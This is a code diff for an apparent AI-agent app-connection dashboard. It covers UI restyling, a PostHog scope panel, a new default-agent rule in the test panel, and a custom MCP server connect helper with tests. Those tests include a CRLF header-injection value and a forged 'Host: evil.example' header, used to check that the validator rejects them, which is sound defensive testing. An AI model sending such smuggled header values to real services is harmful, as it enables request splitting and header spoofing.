||||
</div>
|
||||
<div className="flex flex-wrap items-center justify-between gap-3 px-5 py-4">
|
||||
<div className="flex flex-wrap items-center justify-between gap-3">
|
||||
<div>
|
||||
<p className="text-sm font-medium text-foreground">Remove this app</p>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Agents lose access to {appName} right away. You can connect it again later.
|
||||
Deletes the saved credentials for {appName} and takes agent access away right away.
|
||||
Connecting it again later needs a new sign-in or key.
|
||||
</p>
|
||||
</div>
|
||||
{confirming ? (
|
||||
|
|
|
|||
|
|
@ -110,8 +110,8 @@ function AccessSection({
|
|||
const canSave = draft.mode === "all" || draft.agentIds.size > 0;
|
||||
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card">
|
||||
<div className="flex items-center justify-between px-5 py-4">
|
||||
<section>
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-foreground">Who can use it</h2>
|
||||
<p className="mt-0.5 text-sm text-muted-foreground">{summary}</p>
|
||||
|
|
@ -124,7 +124,7 @@ function AccessSection({
|
|||
</div>
|
||||
|
||||
{editing && (
|
||||
<div className="space-y-3 border-t border-border px-5 py-4">
|
||||
<div className="space-y-3 pt-4">
|
||||
<label className="flex items-start gap-3">
|
||||
<input
|
||||
type="radio"
|
||||
|
|
@ -206,8 +206,8 @@ function InstalledSection({
|
|||
const installedCount = install.onAll ? liveAgents.length : install.agentIds.size;
|
||||
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card">
|
||||
<div className="flex items-center justify-between gap-3 px-5 py-4">
|
||||
<section>
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-foreground">Installed on agents</h2>
|
||||
<p className="mt-0.5 text-sm text-muted-foreground">
|
||||
|
|
@ -228,7 +228,7 @@ function InstalledSection({
|
|||
</div>
|
||||
</div>
|
||||
|
||||
<div className="space-y-3 border-t border-border px-5 py-4">
|
||||
<div className="space-y-3 pt-4">
|
||||
<InlineBanner tone="info" compact>
|
||||
{installInfoNotice(appName)}
|
||||
</InlineBanner>
|
||||
|
|
@ -255,12 +255,7 @@ function InstalledSection({
|
|||
/>
|
||||
)}
|
||||
|
||||
<label
|
||||
className={cn(
|
||||
"flex items-start gap-3 rounded-lg border px-3 py-2.5",
|
||||
install.onAll ? "border-foreground bg-muted/40" : "border-border bg-muted/20",
|
||||
)}
|
||||
>
|
||||
<label className="flex items-start gap-3 py-2.5">
|
||||
<Checkbox
|
||||
checked={install.onAll}
|
||||
disabled={disabled}
|
||||
|
|
@ -417,8 +412,8 @@ function ActionGroup({
|
|||
}, [focusId]);
|
||||
if (actions.length === 0) return null;
|
||||
return (
|
||||
<div className="rounded-xl border border-border bg-card">
|
||||
<div className="border-b border-border px-5 py-3 text-sm">
|
||||
<div>
|
||||
<div className="pb-2 text-sm">
|
||||
<span className="font-bold text-foreground">{title}</span>
|
||||
<span className="ml-2 text-muted-foreground">- {hint}</span>
|
||||
</div>
|
||||
|
|
@ -431,7 +426,7 @@ function ActionGroup({
|
|||
key={action.id}
|
||||
ref={focused ? focusRef : undefined}
|
||||
className={cn(
|
||||
"flex items-center gap-4 px-5 py-3",
|
||||
"flex items-center gap-4 py-3",
|
||||
focused && "rounded-md bg-primary/5 ring-2 ring-primary/40",
|
||||
)}
|
||||
data-action-id={action.id}
|
||||
|
|
|
|||
|
|
@ -26,6 +26,7 @@ export function ReviewPanel({
|
|||
connectionId={connectionId}
|
||||
heading="Waiting for your OK"
|
||||
emptyState={showsQuarantinedActions ? "hidden" : "reassure"}
|
||||
plain
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
|
|
|
|||
|
|
@ -43,10 +43,17 @@ export function SetupPanel({
|
|||
onUpdateConfig={onUpdateConfig}
|
||||
/>
|
||||
)}
|
||||
{appDefinitionSlug(galleryEntry) === "posthog" && (
|
||||
<PostHogConfigurationSection connection={connection} />
|
||||
)}
|
||||
{hasOAuthSignIn && (
|
||||
<OAuthConnectionSection
|
||||
connected={Boolean((oauth as Record<string, unknown>).connectedAt)}
|
||||
providerName={appDefinitionSlug(galleryEntry) === "notion" ? "Notion" : isSmokeLabFixture ? "Smoke OAuth" : "OAuth"}
|
||||
providerName={appDefinitionSlug(galleryEntry) === "notion"
|
||||
? "Notion"
|
||||
: appDefinitionSlug(galleryEntry) === "posthog"
|
||||
? "PostHog"
|
||||
: isSmokeLabFixture ? "Smoke OAuth" : "OAuth"}
|
||||
disabled={oauthStartDisabled}
|
||||
onStart={onStartOAuth}
|
||||
/>
|
||||
|
|
@ -56,6 +63,40 @@ export function SetupPanel({
|
|||
);
|
||||
}
|
||||
|
||||
function PostHogConfigurationSection({ connection }: { connection: ToolConnection }) {
|
||||
const raw = connection.config?.methodConfig;
|
||||
const config = raw && typeof raw === "object" && !Array.isArray(raw)
|
||||
? raw as Record<string, unknown>
|
||||
: {};
|
||||
const method = connection.config?.connectionMethodKey === "mcp-oauth" ? "PostHog sign-in" : "Personal API key";
|
||||
const features = typeof config.features === "string" ? config.features : "None";
|
||||
const tools = typeof config.tools === "string" && config.tools ? config.tools : "None";
|
||||
const rows = [
|
||||
["Connection method", method],
|
||||
["Project ID", typeof config.projectId === "string" ? config.projectId : "Not set"],
|
||||
["Read-only mode", config.readOnly === true ? "On" : "Off"],
|
||||
["Feature groups", features],
|
||||
["Individual tools", tools],
|
||||
["Response mode", typeof config.mode === "string" ? config.mode : "tools"],
|
||||
];
|
||||
return (
|
||||
<section>
|
||||
<h2 className="text-sm font-bold text-foreground">PostHog access scope</h2>
|
||||
<p className="mt-0.5 text-sm text-muted-foreground">
|
||||
This connection is pinned to the project and analytics surface below.
|
||||
</p>
|
||||
<dl className="mt-4 divide-y divide-border">
|
||||
{rows.map(([label, value]) => (
|
||||
<div key={label} className="grid gap-1 py-2 sm:grid-cols-3 sm:gap-4">
|
||||
<dt className="text-xs font-medium text-muted-foreground">{label}</dt>
|
||||
<dd className="break-words text-sm text-foreground sm:col-span-2">{value}</dd>
|
||||
</div>
|
||||
))}
|
||||
</dl>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
function OAuthConnectionSection({
|
||||
connected,
|
||||
providerName,
|
||||
|
|
@ -68,7 +109,7 @@ function OAuthConnectionSection({
|
|||
onStart: () => void;
|
||||
}) {
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card px-5 py-4">
|
||||
<section>
|
||||
<div className="flex flex-wrap items-center justify-between gap-4">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-foreground">
|
||||
|
|
@ -113,7 +154,7 @@ function GoogleSheetsAllowlistSection({
|
|||
onUpdateConfig(googleSheetsConfigWithAllowlist(connection.config, nextIds));
|
||||
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card px-5 py-4">
|
||||
<section>
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-foreground">Sheets agents can use</h2>
|
||||
<p className="mt-0.5 text-sm text-muted-foreground">
|
||||
|
|
@ -206,7 +247,7 @@ export function AppLifecycleSection({
|
|||
}) {
|
||||
const enabled = connection.enabled !== false && connection.status !== "disabled";
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card px-5 py-4">
|
||||
<section>
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div>
|
||||
<h2 className="text-sm font-bold text-foreground">
|
||||
|
|
@ -243,8 +284,8 @@ export function QuarantinedActionsReview({
|
|||
const count = entries.length;
|
||||
const selectedIds = entries.filter((entry) => enabledIds.has(entry.id)).map((entry) => entry.id);
|
||||
return (
|
||||
<section className="overflow-hidden rounded-xl border border-amber-500/40 bg-amber-500/[0.08]">
|
||||
<div className="flex flex-wrap items-start justify-between gap-3 px-4 py-3">
|
||||
<section className="space-y-3">
|
||||
<div className="flex flex-wrap items-start justify-between gap-3">
|
||||
<div>
|
||||
<div className="text-sm font-semibold text-amber-800 dark:text-amber-200">
|
||||
Review {count} new {count === 1 ? "action" : "actions"}
|
||||
|
|
@ -272,12 +313,12 @@ export function QuarantinedActionsReview({
|
|||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div className="divide-y divide-amber-500/25 border-y border-amber-500/25 bg-background">
|
||||
<div className="divide-y divide-border">
|
||||
{entries.map((entry) => {
|
||||
const enabled = enabledIds.has(entry.id);
|
||||
const label = entry.title ?? entry.toolName;
|
||||
return (
|
||||
<div key={entry.id} className="flex items-center gap-3 px-4 py-3">
|
||||
<div key={entry.id} className="flex items-center gap-3 py-3">
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="text-sm font-medium text-foreground">{label}</div>
|
||||
{entry.description && (
|
||||
|
|
@ -301,7 +342,7 @@ export function QuarantinedActionsReview({
|
|||
);
|
||||
})}
|
||||
</div>
|
||||
<div className="flex items-center justify-between gap-3 px-4 py-3">
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<span className="text-xs text-amber-700 dark:text-amber-300">
|
||||
{selectedIds.length} of {count} will be on
|
||||
</span>
|
||||
|
|
|
|||
|
|
@ -133,6 +133,7 @@ function agent(overrides: Record<string, unknown> = {}) {
|
|||
role: "engineer",
|
||||
title: "Engineer",
|
||||
status: "active",
|
||||
orgDepth: 1,
|
||||
effectiveAccess: {
|
||||
connectionId: "conn-1",
|
||||
toolCount: 3,
|
||||
|
|
@ -231,6 +232,23 @@ describe("TestPanel", () => {
|
|||
expect(container.textContent).toContain("Allowed");
|
||||
expect(container.textContent).toContain("Ask first");
|
||||
expect(container.textContent).toContain("Off");
|
||||
expect(container.querySelector(".bg-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("defaults to the highest-ranked accessible agent", async () => {
|
||||
listTestAgentsMock.mockResolvedValue({
|
||||
agents: [
|
||||
agent({ id: "agent-report", name: "A report", orgDepth: 2 }),
|
||||
agent({ id: "agent-root", name: "Root agent", orgDepth: 0 }),
|
||||
agent({ id: "agent-manager", name: "Manager", orgDepth: 1 }),
|
||||
],
|
||||
});
|
||||
|
||||
await act(async () => renderPanel());
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("Root agent");
|
||||
expect(container.textContent).not.toContain("A report");
|
||||
});
|
||||
|
||||
it("shows the empty state when there are no actions", async () => {
|
||||
|
|
|
|||
|
|
@ -136,18 +136,20 @@ export function TestPanel({
|
|||
});
|
||||
|
||||
const agents = useMemo(
|
||||
() => [...(testAgentsQuery.data?.agents ?? [])].sort((a, b) => a.name.localeCompare(b.name)),
|
||||
() => [...(testAgentsQuery.data?.agents ?? [])].sort(
|
||||
(a, b) => a.orgDepth - b.orgDepth || a.name.localeCompare(b.name),
|
||||
),
|
||||
[testAgentsQuery.data],
|
||||
);
|
||||
|
||||
const [agentId, setAgentId] = useState<string | null>(null);
|
||||
// Default to the first agent (alphabetical) that can run at least one action;
|
||||
// otherwise the first agent we can test as at all.
|
||||
// The API returns only agents this user may write to. Prefer the highest
|
||||
// agent in that accessible slice of the org tree, regardless of whether a
|
||||
// lower-ranked agent happens to have a broader app policy today.
|
||||
useEffect(() => {
|
||||
if (agentId && agents.some((a) => a.id === agentId)) return;
|
||||
if (agents.length === 0) return;
|
||||
const withAccess = agents.find((a) => a.effectiveAccess.allowedCount > 0);
|
||||
setAgentId((withAccess ?? agents[0]).id);
|
||||
setAgentId(agents[0].id);
|
||||
}, [agents, agentId]);
|
||||
|
||||
// Switches the header from "TEST AS" card to the compact "Testing as …" line.
|
||||
|
|
@ -212,7 +214,7 @@ export function TestPanel({
|
|||
|
||||
if (agents.length === 0) {
|
||||
return (
|
||||
<div className="rounded-lg border border-border bg-card p-6 text-center">
|
||||
<div className="py-6 text-center">
|
||||
<p className="text-sm font-medium text-foreground">No agents to test as</p>
|
||||
<p className="mx-auto mt-1 max-w-md text-sm text-muted-foreground">
|
||||
Only agents you can assign tasks to can preview {appName}. Give an agent access in{" "}
|
||||
|
|
@ -266,7 +268,7 @@ export function TestPanel({
|
|||
</div>
|
||||
|
||||
{visibleCount === 0 ? (
|
||||
<div className="rounded-lg border border-dashed border-border p-6 text-center text-sm text-muted-foreground">
|
||||
<div className="py-6 text-center text-sm text-muted-foreground">
|
||||
No actions match “{query}”. Clear the search to see them all.
|
||||
</div>
|
||||
) : (
|
||||
|
|
@ -311,7 +313,7 @@ export function TestPanel({
|
|||
|
||||
function EmptyState({ connectionId, appName }: { connectionId: string; appName: string }) {
|
||||
return (
|
||||
<div className="rounded-lg border border-border bg-card p-8 text-center">
|
||||
<div className="py-8 text-center">
|
||||
<p className="text-base font-bold text-foreground">Nothing to test yet</p>
|
||||
<p className="mx-auto mt-1.5 max-w-md text-sm text-muted-foreground">
|
||||
Once {appName} is connected, the actions it offers will show up here so you can try them out.
|
||||
|
|
@ -344,7 +346,7 @@ function TestAsHeader({
|
|||
}) {
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="flex flex-wrap items-center justify-between gap-3 border-b border-border pb-3">
|
||||
<div className="flex flex-wrap items-center justify-between gap-3 pb-3">
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Testing as{" "}
|
||||
<AgentPicker
|
||||
|
|
@ -361,7 +363,7 @@ function TestAsHeader({
|
|||
);
|
||||
}
|
||||
return (
|
||||
<div className="rounded-lg border border-border bg-card p-4">
|
||||
<div>
|
||||
<div className="flex flex-wrap items-center justify-between gap-3">
|
||||
<div className="min-w-0">
|
||||
<p className="text-xs font-semibold uppercase tracking-wide text-muted-foreground">Test as</p>
|
||||
|
|
@ -546,7 +548,7 @@ function ActionGroup({
|
|||
<section>
|
||||
<h3 className="mb-1.5 text-xs font-semibold uppercase tracking-wide text-muted-foreground">{heading}</h3>
|
||||
{subheading && <p className="mb-1.5 -mt-1 text-xs text-muted-foreground">{subheading}</p>}
|
||||
<div className="divide-y divide-border overflow-hidden rounded-lg border border-border">
|
||||
<div className="divide-y divide-border">
|
||||
{entries.map((entry) => (
|
||||
<ActionRow
|
||||
key={entry.id}
|
||||
|
|
@ -599,7 +601,7 @@ function ActionRow({
|
|||
</button>
|
||||
</CollapsibleTrigger>
|
||||
<CollapsibleContent>
|
||||
<div className="border-t border-border bg-muted/20 px-4 py-4">
|
||||
<div className="border-t border-border py-4 pl-11">
|
||||
<ActionTester entry={entry} decision={decision} agent={agent} {...shared} />
|
||||
</div>
|
||||
</CollapsibleContent>
|
||||
|
|
@ -1358,7 +1360,7 @@ function OffExplanation({
|
|||
return (
|
||||
<div className="grid gap-3 md:grid-cols-(--gtc-62)">
|
||||
<div className="space-y-3">
|
||||
<div className="flex items-start gap-2 rounded-md border border-border bg-muted/40 p-3">
|
||||
<div className="flex items-start gap-2">
|
||||
<Ban className="mt-0.5 h-4 w-4 shrink-0 text-muted-foreground" />
|
||||
<div className="text-sm text-muted-foreground">
|
||||
<p className="font-medium text-foreground">{title} is off for {agent.name}.</p>
|
||||
|
|
@ -1378,7 +1380,7 @@ function OffExplanation({
|
|||
<p className="text-xs text-muted-foreground">No call will be made — this action is off for {agent.name}.</p>
|
||||
</div>
|
||||
|
||||
<aside className="rounded-md border border-border bg-card p-3">
|
||||
<aside>
|
||||
<p className="text-xs font-semibold uppercase tracking-wide text-muted-foreground">Why this is off</p>
|
||||
<p className="mt-1.5 text-xs text-muted-foreground">{whyBody}</p>
|
||||
{auditHint && <p className="mt-1.5 text-(length:--text-micro) text-muted-foreground">{auditHint}</p>}
|
||||
|
|
|
|||
|
|
@ -2,10 +2,10 @@ import { Activity, Beaker, Inbox, Settings2, ShieldCheck, Wrench } from "lucide-
|
|||
|
||||
export const APP_TABS = [
|
||||
{ key: "setup", label: "Setup", icon: Settings2 },
|
||||
{ key: "test", label: "Test", icon: Beaker },
|
||||
{ key: "review", label: "Review", icon: Inbox },
|
||||
{ key: "permissions", label: "Permissions", icon: ShieldCheck },
|
||||
{ key: "activity", label: "Activity", icon: Activity },
|
||||
{ key: "test", label: "Test", icon: Beaker },
|
||||
{ key: "advanced", label: "Advanced", icon: Wrench },
|
||||
] as const;
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,211 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
canSubmitGenericConnect,
|
||||
customHeaderError,
|
||||
defaultGenericMcpName,
|
||||
endpointHost,
|
||||
genericConnectGuidance,
|
||||
genericConnectPayload,
|
||||
newCustomHeaderRow,
|
||||
type GenericConnectDraft,
|
||||
} from "./generic-mcp-connect";
|
||||
|
||||
function draft(overrides: Partial<GenericConnectDraft> = {}): GenericConnectDraft {
|
||||
return {
|
||||
link: "https://mcp.example.test/mcp",
|
||||
name: "Example",
|
||||
authMode: "auto",
|
||||
needsKey: false,
|
||||
keyValue: "",
|
||||
headers: [newCustomHeaderRow()],
|
||||
oauthClientId: "",
|
||||
oauthClientSecret: "",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("endpointHost", () => {
|
||||
it("returns the host so the operator can see whose server this is", () => {
|
||||
expect(endpointHost("https://mcp.example.test/mcp?project_id=1")).toBe("mcp.example.test");
|
||||
expect(endpointHost("http://127.0.0.1:8848/mcp")).toBe("127.0.0.1:8848");
|
||||
});
|
||||
|
||||
it("returns null for anything that isn't a URL", () => {
|
||||
expect(endpointHost("not a url")).toBeNull();
|
||||
expect(endpointHost("")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("defaultGenericMcpName", () => {
|
||||
it("keeps the port and path so endpoints on one host get distinct names", () => {
|
||||
expect(defaultGenericMcpName("http://127.0.0.1:47399/mcp"))
|
||||
.toBe("127.0.0.1:47399/mcp");
|
||||
expect(defaultGenericMcpName("http://127.0.0.1:47400/analytics/mcp"))
|
||||
.toBe("127.0.0.1:47400/analytics/mcp");
|
||||
});
|
||||
|
||||
it("does not copy a potentially secret query string into the name", () => {
|
||||
expect(defaultGenericMcpName("https://www.example.test/mcp?token=secret"))
|
||||
.toBe("example.test/mcp");
|
||||
});
|
||||
});
|
||||
|
||||
describe("genericConnectGuidance", () => {
|
||||
it("names the URL as the thing to fix for invalid, unsafe and unreachable endpoints", () => {
|
||||
for (const code of [
|
||||
"mcp_remote_url_invalid",
|
||||
"remote_http_private_endpoint",
|
||||
"remote_http_dns_failed",
|
||||
"runtime_error",
|
||||
]) {
|
||||
expect(genericConnectGuidance(code, null).focus, code).toBe("url");
|
||||
}
|
||||
});
|
||||
|
||||
it("names the credentials for a challenge with no discoverable sign-in", () => {
|
||||
const guidance = genericConnectGuidance("oauth_challenge", null);
|
||||
expect(guidance.focus).toBe("credentials");
|
||||
expect(guidance.body).toContain("Advanced authentication");
|
||||
});
|
||||
|
||||
it("points at the deployment when Paperclip itself has no public HTTPS address", () => {
|
||||
expect(genericConnectGuidance("oauth_redirect_origin_unsupported", null).focus).toBe("deployment");
|
||||
});
|
||||
|
||||
it("points at the name field when the connection name is already used", () => {
|
||||
const guidance = genericConnectGuidance("tool_access_name_conflict", null);
|
||||
expect(guidance).toMatchObject({ title: "That name is taken", focus: "name" });
|
||||
});
|
||||
|
||||
it("passes a rejected header's own message through", () => {
|
||||
const guidance = genericConnectGuidance(
|
||||
"mcp_header_rejected",
|
||||
'Paperclip manages the "Host" header and cannot send a custom value for it.',
|
||||
);
|
||||
expect(guidance.body).toContain('"Host"');
|
||||
expect(guidance.focus).toBe("credentials");
|
||||
});
|
||||
|
||||
it("falls back to the server's message for an unrecognised code", () => {
|
||||
expect(genericConnectGuidance("something_new", "Upstream said no.").body).toBe("Upstream said no.");
|
||||
expect(genericConnectGuidance(null, null).body).toContain("Check it and try again");
|
||||
});
|
||||
});
|
||||
|
||||
describe("customHeaderError", () => {
|
||||
it("accepts a filled row and ignores a blank one", () => {
|
||||
expect(customHeaderError([
|
||||
{ id: "a", name: "X-Api-Key", value: "abc" },
|
||||
{ id: "b", name: "", value: "" },
|
||||
])).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects headers Paperclip refuses to send", () => {
|
||||
expect(customHeaderError([{ id: "a", name: "Host", value: "evil.example" }]))
|
||||
.toContain('Paperclip manages the "Host" header');
|
||||
});
|
||||
|
||||
it("rejects a value that would split the request", () => {
|
||||
expect(customHeaderError([{ id: "a", name: "X-Api-Key", value: "abc\r\nX-Injected: 1" }]))
|
||||
.toContain("line breaks");
|
||||
});
|
||||
|
||||
it("asks for a value on a half-filled row and flags duplicates", () => {
|
||||
expect(customHeaderError([{ id: "a", name: "X-Api-Key", value: "" }]))
|
||||
.toContain('Add a value for "X-Api-Key"');
|
||||
expect(customHeaderError([
|
||||
{ id: "a", name: "X-Api-Key", value: "one" },
|
||||
{ id: "b", name: "x-api-key", value: "two" },
|
||||
])).toContain("listed twice");
|
||||
});
|
||||
});
|
||||
|
||||
describe("genericConnectPayload", () => {
|
||||
it("sends nothing but the link on the simplest path", () => {
|
||||
expect(genericConnectPayload(draft())).toEqual({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
name: "Example",
|
||||
});
|
||||
});
|
||||
|
||||
it("omits authMode on the simple path so the server probes and decides", () => {
|
||||
const payload = genericConnectPayload(draft({ needsKey: true, keyValue: "abc" }));
|
||||
expect(payload.authMode).toBeUndefined();
|
||||
expect(payload.credentialValues).toEqual({ "credentials.authorization": "abc" });
|
||||
});
|
||||
|
||||
it("sends the explicit mode chosen under Advanced authentication", () => {
|
||||
expect(genericConnectPayload(draft({ authMode: "none" }))).toMatchObject({ authMode: "none" });
|
||||
expect(genericConnectPayload(draft({ authMode: "bearer", keyValue: " abc " })))
|
||||
.toMatchObject({ authMode: "bearer", credentialValues: { "credentials.authorization": "abc" } });
|
||||
});
|
||||
|
||||
it("maps custom headers to headers.* credential paths", () => {
|
||||
const payload = genericConnectPayload(draft({
|
||||
authMode: "custom_headers",
|
||||
headers: [
|
||||
{ id: "a", name: " X-Api-Key ", value: "phx_secret" },
|
||||
{ id: "b", name: "X-Project", value: "12345" },
|
||||
{ id: "c", name: "", value: "" },
|
||||
],
|
||||
}));
|
||||
expect(payload.credentialValues).toEqual({
|
||||
"headers.X-Api-Key": "phx_secret",
|
||||
"headers.X-Project": "12345",
|
||||
});
|
||||
});
|
||||
|
||||
it("only sends a preregistered client when the operator supplied one", () => {
|
||||
expect(genericConnectPayload(draft({ authMode: "oauth" })).oauthClient).toBeUndefined();
|
||||
expect(genericConnectPayload(draft({ authMode: "oauth", oauthClientId: "cid" })).oauthClient)
|
||||
.toEqual({ clientId: "cid" });
|
||||
expect(genericConnectPayload(draft({
|
||||
authMode: "oauth",
|
||||
oauthClientId: "cid",
|
||||
oauthClientSecret: "shh",
|
||||
})).oauthClient).toEqual({ clientId: "cid", clientSecret: "shh" });
|
||||
});
|
||||
|
||||
it("does not carry a bearer key into a custom-header or no-auth submission", () => {
|
||||
// Switching modes must not leak a value the operator typed under a different
|
||||
// one — the wizard clears it, and the payload builder does not resurrect it.
|
||||
expect(genericConnectPayload(draft({ authMode: "custom_headers", keyValue: "stale" })).credentialValues)
|
||||
.toBeUndefined();
|
||||
expect(genericConnectPayload(draft({ authMode: "none", keyValue: "stale" })).credentialValues)
|
||||
.toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("canSubmitGenericConnect", () => {
|
||||
it("needs a link", () => {
|
||||
expect(canSubmitGenericConnect(draft({ link: "" }))).toBe(false);
|
||||
});
|
||||
|
||||
it("lets the simple no-key path through and holds the yes-key path until a key is typed", () => {
|
||||
expect(canSubmitGenericConnect(draft())).toBe(true);
|
||||
expect(canSubmitGenericConnect(draft({ needsKey: true }))).toBe(false);
|
||||
expect(canSubmitGenericConnect(draft({ needsKey: true, keyValue: "abc" }))).toBe(true);
|
||||
});
|
||||
|
||||
it("requires a key for the explicit bearer mode", () => {
|
||||
expect(canSubmitGenericConnect(draft({ authMode: "bearer" }))).toBe(false);
|
||||
expect(canSubmitGenericConnect(draft({ authMode: "bearer", keyValue: "abc" }))).toBe(true);
|
||||
});
|
||||
|
||||
it("requires at least one valid header for custom-header mode", () => {
|
||||
expect(canSubmitGenericConnect(draft({ authMode: "custom_headers" }))).toBe(false);
|
||||
expect(canSubmitGenericConnect(draft({
|
||||
authMode: "custom_headers",
|
||||
headers: [{ id: "a", name: "X-Api-Key", value: "abc" }],
|
||||
}))).toBe(true);
|
||||
expect(canSubmitGenericConnect(draft({
|
||||
authMode: "custom_headers",
|
||||
headers: [{ id: "a", name: "Host", value: "abc" }],
|
||||
}))).toBe(false);
|
||||
});
|
||||
|
||||
it("allows no-auth and browser sign-in without any value", () => {
|
||||
expect(canSubmitGenericConnect(draft({ authMode: "none" }))).toBe(true);
|
||||
expect(canSubmitGenericConnect(draft({ authMode: "oauth" }))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
|
@ -0,0 +1,237 @@
|
|||
import { checkMcpRemoteHeaderName, checkMcpRemoteHeaderValue, mcpRemoteHeaderRejectionMessage } from "@paperclipai/shared";
|
||||
import type { GenericMcpAuthMode } from "@paperclipai/shared";
|
||||
|
||||
/**
|
||||
* Logic behind the guided "Connect your own MCP server" flow (PAP-17087).
|
||||
*
|
||||
* Kept out of the component so the branch an operator lands on — and the
|
||||
* corrective advice they get — is directly testable, and so the wizard never has
|
||||
* to reason about protocol error codes inline.
|
||||
*/
|
||||
|
||||
export type { GenericMcpAuthMode };
|
||||
|
||||
export interface CustomHeaderRow {
|
||||
/** Stable key so React can track rows across add/remove without reordering values. */
|
||||
id: string;
|
||||
name: string;
|
||||
value: string;
|
||||
}
|
||||
|
||||
let customHeaderRowSeq = 0;
|
||||
|
||||
/** A blank custom-header row. The id is local only — it never reaches the API. */
|
||||
export function newCustomHeaderRow(): CustomHeaderRow {
|
||||
customHeaderRowSeq += 1;
|
||||
return { id: `header-${customHeaderRowSeq}`, name: "", value: "" };
|
||||
}
|
||||
|
||||
/** The endpoint host, shown prominently so the operator always sees who they are trusting. */
|
||||
export function endpointHost(url: string): string | null {
|
||||
try {
|
||||
return new URL(url).host || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A useful, non-secret default label for an arbitrary endpoint.
|
||||
*
|
||||
* Keep the port and path: one host commonly serves several MCP endpoints, and
|
||||
* collapsing all of them to the hostname makes the second connection fail the
|
||||
* company-wide application-name constraint. Query strings are deliberately
|
||||
* excluded because remote MCP URLs can carry credentials there.
|
||||
*/
|
||||
export function defaultGenericMcpName(url: string): string | null {
|
||||
try {
|
||||
const parsed = new URL(url);
|
||||
const host = parsed.host.replace(/^www\./, "");
|
||||
const path = parsed.pathname === "/" ? "" : parsed.pathname.replace(/\/+$/, "");
|
||||
return `${host}${path}`.slice(0, 160) || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Where the operator has to look to fix a failed connect attempt. The wizard uses
|
||||
* this to decide whether to reopen the URL field or the credential section, rather
|
||||
* than leaving them to guess which of the two was wrong.
|
||||
*/
|
||||
export type GenericConnectFocus = "url" | "name" | "credentials" | "deployment" | "none";
|
||||
|
||||
export interface GenericConnectGuidance {
|
||||
title: string;
|
||||
body: string;
|
||||
focus: GenericConnectFocus;
|
||||
}
|
||||
|
||||
/**
|
||||
* Turn an API failure into the specific corrective action the plan asks for:
|
||||
* invalid, unsafe, unreachable, or "needs a credential we could not discover".
|
||||
*
|
||||
* Anything unrecognised falls through to the server's own message, which is
|
||||
* already UI-safe (upstream bodies and secrets are stripped server-side).
|
||||
*/
|
||||
export function genericConnectGuidance(
|
||||
code: string | null | undefined,
|
||||
message: string | null | undefined,
|
||||
): GenericConnectGuidance {
|
||||
const fallback = message?.trim() || "Paperclip couldn't connect to that address. Check it and try again.";
|
||||
switch (code) {
|
||||
case "mcp_remote_url_missing":
|
||||
case "mcp_remote_url_invalid":
|
||||
return {
|
||||
title: "That doesn't look like a server address",
|
||||
body: "Paste the full address, starting with https:// — for example https://mcp.example.com/mcp.",
|
||||
focus: "url",
|
||||
};
|
||||
case "remote_http_private_endpoint":
|
||||
return {
|
||||
title: "That address is inside a private network",
|
||||
body: "This Paperclip is reachable from the internet, so it won't call addresses on your local network. Use the server's public address instead.",
|
||||
focus: "url",
|
||||
};
|
||||
case "remote_http_dns_failed":
|
||||
return {
|
||||
title: "We couldn't find that host",
|
||||
body: "The address didn't resolve. Check the spelling, or confirm the server is published on the internet.",
|
||||
focus: "url",
|
||||
};
|
||||
case "mcp_header_rejected":
|
||||
return {
|
||||
title: "Paperclip can't send that header",
|
||||
body: fallback,
|
||||
focus: "credentials",
|
||||
};
|
||||
case "tool_access_name_conflict":
|
||||
return {
|
||||
title: "That name is taken",
|
||||
body: "Choose a different name for this connection, then try again.",
|
||||
focus: "name",
|
||||
};
|
||||
case "oauth_challenge":
|
||||
return {
|
||||
title: "This server wants a credential",
|
||||
body: "It asked us to authenticate but didn't offer a sign-in Paperclip can complete on its own. Add the key or headers its docs list under Advanced authentication.",
|
||||
focus: "credentials",
|
||||
};
|
||||
case "oauth_manual_client_required":
|
||||
case "oauth_manual_client_rebinding_required":
|
||||
return {
|
||||
title: "This server needs sign-in details you create yourself",
|
||||
body: "Register Paperclip in the provider's settings, then add the client ID and secret it gives you under Advanced authentication.",
|
||||
focus: "credentials",
|
||||
};
|
||||
case "oauth_redirect_origin_unsupported":
|
||||
case "oauth_redirect_uri_invalid":
|
||||
return {
|
||||
title: "This Paperclip needs a public HTTPS address first",
|
||||
body: "Sign-in sends the operator back to Paperclip, so this instance has to be reachable over HTTPS. Ask your Paperclip admin to configure it.",
|
||||
focus: "deployment",
|
||||
};
|
||||
case "runtime_error":
|
||||
return {
|
||||
title: "We couldn't reach that server",
|
||||
body: "Nothing answered at that address. Confirm the server is running and the address is right, then try again.",
|
||||
focus: "url",
|
||||
};
|
||||
default:
|
||||
return {
|
||||
title: "Paperclip couldn't connect",
|
||||
body: fallback,
|
||||
